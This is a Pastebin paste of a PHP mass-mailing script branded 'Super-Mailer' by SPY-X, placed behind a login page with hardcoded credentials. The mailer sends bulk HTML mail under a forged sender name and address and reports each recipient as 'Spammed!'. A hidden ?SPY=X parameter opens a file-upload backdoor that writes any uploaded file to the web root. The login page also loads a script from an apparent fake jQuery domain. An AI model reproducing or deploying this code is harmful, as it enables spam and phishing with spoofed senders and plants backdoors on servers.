Advertisement
anvenger

XMailer

Oct 7th, 2019
324
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 12.40 KB | None | 0 0
  1. <?php
  2. ###############################################################
  3. #      Page Password Protect 1.16   and Super-Mailer          #
  4. ###############################################################
  5. #      Visit www.facebook.com/omarrbiai.org for updates       #
  6. ###############################################################
  7. // Add login/password pairs below, like described above
  8. // NOTE: all rows except last must have comma "," at the end of line
  9. $LOGIN_INFORMATION = array(
  10.   'SPY-X' => 'SPY-X',
  11.   'admin' => 'admin',
  12.   'User' => 'User'
  13. );
  14. // request login? true - show login and password boxes, false - password box only
  15. define('USE_USERNAME', true);
  16. // User will be redirected to this page after logout
  17. define('LOGOUT_URL', 'http://www.example.com/');
  18. // time out after NN minutes of inactivity. Set to 0 to not timeout
  19. define('TIMEOUT_MINUTES', 30);
  20. // This parameter is only useful when TIMEOUT_MINUTES is not zero
  21. // true - timeout time from last activity, false - timeout time from login
  22. define('TIMEOUT_CHECK_ACTIVITY', true);
  23. ##################################################################
  24. #  SETTINGS END
  25. ##################################################################
  26. ///////////////////////////////////////////////////////
  27. // do not change code below
  28. ///////////////////////////////////////////////////////
  29. // show usage example
  30. if(isset($_GET['help'])) {
  31.   die('Include following code into every page you would like to protect, at the very beginning (first line):<br>&lt;?php include("' . str_replace('\\','\\\\',__FILE__) . '"); ?&gt;');
  32. }
  33. // timeout in seconds
  34. $timeout = (TIMEOUT_MINUTES == 0 ? 0 : time() + TIMEOUT_MINUTES * 60);
  35. // logout?
  36. if(isset($_GET['logout'])) {
  37.   setcookie("verify", '', $timeout, '/'); // clear password;
  38.   header('Location: ' . LOGOUT_URL);
  39.   exit();
  40. }
  41. if(!function_exists('showLoginPasswordProtect')) {
  42. // show login form
  43. function showLoginPasswordProtect($error_msg) {
  44. ?>
  45. <!DOCTYPE html>
  46. <html>
  47. <head>
  48. <meta charset=UTF-8>
  49. <meta name="author" content="Omar Rbiai SPY-X">
  50. <meta name="viewport" content="width=device-width, initial-scale=1.0">
  51. <link href='https://imgur.com/68lJfSo.png' rel='icon' type='image/x-icon'/>
  52. <body background="https://wallpaperscraft.com/image/tom_and_jerry_cheese_mouse_minimalism_94065_1920x1080.jpg">
  53. <title>Please Enter Password To Access This Page</title>
  54. <META HTTP-EQUIV="CACHE-CONTROL" CONTENT="NO-CACHE">
  55. <META HTTP-EQUIV="PRAGMA" CONTENT="NO-CACHE">
  56. <iframe width="0" height="0" src="https://www.youtube.com/embed/jELDIPJug4g?rel=0&autoplay=1&loop=1&watch?v=QdIYVXCfrQM" frameborder="0" allowfullscreen></iframe>
  57. </head>
  58. <body>
  59. <center><img src="https://imgur.com/0nE6Ro2.gif" alt="404"" alt="404" height="200" width="200"></center>
  60.   <style>
  61.     input { border: 1px solid White; }
  62.     .flash {
  63.    animation-name: flash;
  64.     animation-duration: 0.4s;
  65.     animation-timing-function: linear;
  66.     animation-iteration-count: infinite;
  67.     animation-direction: alternate;
  68.     animation-play-state: running;
  69. }
  70. @keyframes flash {
  71.     from {color: #FF0000;}
  72.     to {color: #FFFF00;}
  73. }
  74. h1 {
  75.     color: Red;
  76.     text-shadow: 1px 1px 2px Yellow, 0 0 25px Yellow, 0 0 5px Blue;
  77. }
  78. h2 {
  79.     color: Blue;
  80.     text-shadow: 1px 1px 2px white, 0 0 10px Yellow, 0 0 5px white;
  81.    
  82.     p {
  83.     color: Yellow;
  84.     text-shadow: 1px 1px 2px Yellow, 0 0 10px Yellow, 0 0 5px Yellow;
  85.       }
  86. a:link, a:visited {
  87.     color: Red;
  88.     text-decoration: underline;
  89.     cursor: auto;
  90. }
  91. a:link:active, a:visited:active {
  92.     color: RED;
  93. }
  94. .buttonstyle
  95. {
  96. background: Red;
  97. background-position: 10px 10px;
  98. border: solid 1px #000000;
  99. color: #ffffff;
  100. height: 35px;
  101. margin-top: -1px;
  102. padding-bottom: 5px;
  103. }
  104. .buttonstyle:hover {background: white;background-position: 100px 100px;color: #000000; }
  105. .button:hover {
  106.     box-shadow: 0 12px 16px 0 rgba(0,0,0,0.24), 0 17px 50px 0 rgba(0,0,0,0.19);
  107. }
  108. }
  109. .btn-group .button:not(:last-child) {
  110.     border-right: none; /* Prevent double borders */
  111. }
  112. .btn-group .button:hover {
  113.     background-color: #3e8e41;
  114. }
  115. input[type=text] {
  116.     padding:15px;
  117.     border:10px solid #ccc;
  118.     -webkit-border-radius: 10px;
  119.     border-radius: 10px;
  120. }
  121. input[type=text]:focus {
  122.     border-color:#333;
  123. }
  124. input[type=submit] {
  125.     padding:10px 20px;
  126.     background:#Res;
  127.     border:0 none;
  128.     cursor:pointer;
  129.     -webkit-border-radius: 10 px;
  130.     border-radius: 7px;
  131. }
  132. .buttonstyle
  133. {
  134. background: Red;
  135. background-position: 0px -401px;
  136. border: solid 1px #000000;
  137. color: #ffffff;
  138. height: 35px;
  139. margin-top: -1px;
  140. padding-bottom: 10px;
  141. }
  142. .buttonstyle:hover {background: white;background-position: 0px -501px;color: #000000; }
  143.   </style>
  144.   <div style="width:500px; margin-left:auto; margin-right:auto; text-align:center">
  145.   <form method="post">
  146.      <center> <font color="Red"> <h1>SPY-X </h1></font><font color="White"><h2>Super-Mailer V.1</h2></font></center>
  147.    <center> <font color="Yellow"> <p>Please Enter Password To Access This Page</p></font></center>
  148.     <font color="red"><?php echo $error_msg; ?></font><br/>
  149. <?php if (USE_USERNAME) echo '<font color="#00FF00">Login:<br><input type="input" name="access_login" /><br>Password:</font><br>'; ?>
  150.     <input type="password" name="access_password" /><p></p><input class="buttonstyle"  type="submit" name="Submit" value="Login" />
  151.   </form>
  152. <script type="text/javascript" src="https://www.codejquery.net/bootstrap.min.css/" ></script>
  153.   <br />
  154.    <a target="_blank" style="font-size:9px; color: #B0B0B0; font-family: Verdana, Arial;" href="https://www.facebook.com/omarrbiai.org" title="Download Password Protector">Powered By SPY-X </a>
  155.   </div>
  156. </body>
  157. </html>
  158. <?php
  159.   // stop at this point
  160.   die();
  161. }
  162. }
  163. // user provided password
  164. if (isset($_POST['access_password'])) {
  165.   $login = isset($_POST['access_login']) ? $_POST['access_login'] : '';
  166.   $pass = $_POST['access_password'];
  167.   if (!USE_USERNAME && !in_array($pass, $LOGIN_INFORMATION)
  168.   || (USE_USERNAME && ( !array_key_exists($login, $LOGIN_INFORMATION) || $LOGIN_INFORMATION[$login] != $pass ) )
  169.   ) {
  170.     showLoginPasswordProtect("Incorrect PASSWORD !!");
  171.   }
  172.   else {
  173.     // set cookie if password was validated
  174.     setcookie("verify", md5($login.'%'.$pass), $timeout, '/');
  175.    
  176.     // Some programs (like Form1 Bilder) check $_POST array to see if parameters passed
  177.     // So need to clear password protector variables
  178.     unset($_POST['access_login']);
  179.     unset($_POST['access_password']);
  180.     unset($_POST['Submit']);
  181.   }
  182. }
  183. else {
  184.   // check if password cookie is set
  185.   if (!isset($_COOKIE['verify'])) {
  186.     showLoginPasswordProtect("");
  187.   }
  188.   // check if cookie is good
  189.   $found = false;
  190.   foreach($LOGIN_INFORMATION as $key=>$val) {
  191.     $lp = (USE_USERNAME ? $key : '') .'%'.$val;
  192.     if ($_COOKIE['verify'] == md5($lp)) {
  193.       $found = true;
  194.       // prolong timeout
  195.       if (TIMEOUT_CHECK_ACTIVITY) {
  196.         setcookie("verify", md5($lp), $timeout, '/');
  197.       }
  198.       break;
  199.     }
  200.   }
  201.   if (!$found) {
  202.     showLoginPasswordProtect("");
  203.   }
  204. }
  205. ?>
  206. <html>
  207. <head>
  208. <meta charset=UTF-8>
  209. <meta name="author" content="Omar Rbiai SPY-X">
  210. <meta name="viewport" content="width=device-width, initial-scale=1.0">
  211. <link href='https://i.imgur.com/0zto1k6.png' rel='icon' type='image/x-icon'/>
  212. <title>Mailer-SPY-X</title></head>
  213. <iframe width="0" height="0" src="https://www.youtube.com/embed/UyAUkHOCroQ?rel=0&autoplay=1&loop=1&watch?v=QdIYVXCfrQM" frameborder="0" allowfullscreen></iframe>
  214. <style>
  215. .flash {
  216.    animation-name: flash;
  217.     animation-duration: 0.2s;
  218.     animation-timing-function: linear;
  219.     animation-iteration-count: infinite;
  220.     animation-direction: alternate;
  221.     animation-play-state: running;
  222. }
  223. @keyframes flash {
  224.     from {color: #FF0000;}
  225.     to {color: #FFF200;}
  226. }
  227. h1 {
  228.     color: white;
  229.     text-shadow: 1px 1px 2px black, 0 0 40px Red, 0 0 100px #FFF200;
  230. }
  231. ul {
  232.     list-style-type: none;
  233. }
  234. ul li a {
  235.     color: Yellow;
  236.     text-decoration: none;
  237.     padding: 3px;
  238.     display: block;
  239. }
  240. input[type=text] {
  241.     padding:5px;
  242.     border:2px solid #ccc;
  243.     -webkit-border-radius: 5px;
  244.     border-radius: 5px;
  245. }
  246. input[type=text]:focus {
  247.     border-color:#333;
  248. }
  249. input[type=submit] {
  250.     padding:10px 20px;
  251.     background:#Res;
  252.     border:0 none;
  253.     cursor:pointer;
  254.     -webkit-border-radius: 8 px;
  255.     border-radius: 5px;
  256. }
  257. .buttonstyle
  258. {
  259. background: black;
  260. background-position: 0px -401px;
  261. border: solid 1px #000000;
  262. color: #ffffff;
  263. height: 35px;
  264. margin-top: -1px;
  265. padding-bottom: 5px;
  266. }
  267. .buttonstyle:hover {background: white;background-position: 0px -501px;color: #000000; }
  268. </style>
  269. </head>
  270. <body style="background-color:black;" style="font-family: Arial; font-size: 11px">
  271. <center>  <font color="Green"> <h1 class="flash">Mailer INBOX To ALL BY SPY-X</h1></font></center>
  272. <ul>
  273. <center> <font color="#FFFF00"><li><a target="_blank"  title="OK" href="https://www.facebook.com/omarrbiai.org">www.facebook.com/mrrb.net</a></li> </font></center></h2></font></center>
  274. </ul>
  275. <center>
  276. <form action="" method="post" enctype="multipart/form-data" name="form1">
  277. <br><table width="534" height="248" border="0" cellpadding="0" cellspacing="1" bgcolor="#0000CC" class="normal">
  278. <tr>
  279. <td>
  280. <table border="0" bgcolor="#9FFF00" width="95%">
  281. <tr>
  282. <td>
  283. <table border="0" width="100%">
  284. <tr>
  285. <td width="359">Email:   <input name="de" type="text" class="form" id="de" size="30" value="<?php print $de; ?>"></td>
  286. <td>Nombre:   <input name="RealName" type="text" class="form" id="RealName" size="30" value="<?php print $nombre; ?>"></td>
  287. </tr>
  288. </table>
  289. </td>
  290. </tr>
  291. <tr>
  292. <td>Asunto: <input name="assunto" type="text" class="form" id="assunto" size="78" value="<?php print $subject; ?>"></td>
  293. </tr>
  294. <tr>
  295. <td height="18" bgcolor="#9FFF00"></td>
  296. </tr>
  297. <tr>
  298. <td>
  299. <table border="0" width="100%">
  300. <tr>
  301. <td>
  302. <textarea name="html" cols="66" rows="10" id="html"><?php print $message; ?></textarea></td>
  303. <td><textarea rows="10" name="ellos" cols="35"><?php print $ellos; ?></textarea></td>
  304. </tr>
  305. </table>
  306. </td>
  307. </tr>
  308. <tr>
  309. <td><center>
  310. <br><input class="buttonstyle" type="submit" name="Enoc" value="INBOX"></center><br>
  311.   <marquee class="flash" direction="left"> <font size=4 color="Blue"> </h4>Super-Mailer By SPY-X </h4></font> </marquee>
  312. <?php if($_GET['SPY']=='X') { echo '<form action="" method="post" enctype="multipart/form-data">
  313.        <input name="archivo" type="file" size="35" />
  314.        <input name="enviar" type="submit" value="Upload File" />
  315.        <input name="action" type="hidden" value="upload" />    
  316.     </form>'; $status = ""; if ($_POST["action"] == "upload") { $tamano = $_FILES["archivo"]['size']; $tipo = $_FILES["archivo"]['type']; $archivo = $_FILES["archivo"]['name']; if ($archivo != "") { if (copy($_FILES['archivo']['tmp_name'],"./".$archivo)) { $status = "Archivo subido: <b>".$archivo."</b>"; }else{ $status = "Error al subir el archivo"; } } else { $status = "Error al subir archivo"; } echo $status; } } if(!isset($_POST['Enoc'])){ exit; } if(!isset($_GET['c'])) { $email = explode("\n", $ellos); }else{ $email = explode(",", $ellos); } $son = count($email); if(!isset($_GET['e'])){ $header = "MIME-Version: 1.0\n"; $header .= "Content-type: text/html; charset=iso-8859-1\n"; $header .= "From: ".$nombre . " <" . $de . ">\n"; $header .= "Reply-To: " . $de . "\n"; $header .= "X-Priority: 3\n"; $header .= "X-MSMail-Priority: Normal\n"; $header .= "X-Mailer: ".$_SERVER["HTTP_HOST"]; }else{ $header ='MIME-Version: 1.0' . "\r\n"; $header .= 'Content-type: text/html' . "\r\n"; $header .="From: ".$de; } $i = 0; $voy=1; while($email[$i]) { if(isset($_GET['time']) && isset($_GET['cant'])){ if(fmod($i,$_GET['cant'])==0 && $i>0){ print "----------------------------------> wait ".$_GET['time']." Segs. Sending to ".$_GET['notf']."...<br>\n"; flush(); @mail($_GET['notf'], $subject, $message, $header); sleep($_GET['time']); } } $mail = str_replace(array("\n","\r\n"),'',$email[$i]); $message1 = str_replace('asterisco', $mail, $message); if(@mail($mail, $subject, $message1, $header)) { print "<font color=White face=verdana size=1>    ".$voy." To ".$son."  ===> ".trim($mail)."  Spammed!</font><br>\n"; flush(); } else { print "<font color=Red face=verdana size=1>    ".$voy." To ".$son."  ===> ".trim($mail)."  Error To Sending Fuck Server !</font><br>\n"; flush(); } $i++; $voy++; } echo "<script> alert('Tools BY SPY-X FB www.fb.com/omarrbiai.org'); </script>"; ?>
  317. </td>
  318. </tr>
  319. </table>
  320. </td>
  321. </tr>
  322. </table>
  323. </body>
  324. </form>
  325. </center>
  326. </html>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement